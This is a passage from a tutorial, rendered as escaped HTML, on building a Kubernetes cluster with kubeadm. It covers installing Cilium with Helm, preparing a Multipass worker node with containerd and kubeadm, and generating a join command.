#96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-system\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--version\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e24\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e.   I’m not going to talk about the commands a second time but\nI’ll re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster.   When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I’m going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etoken\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 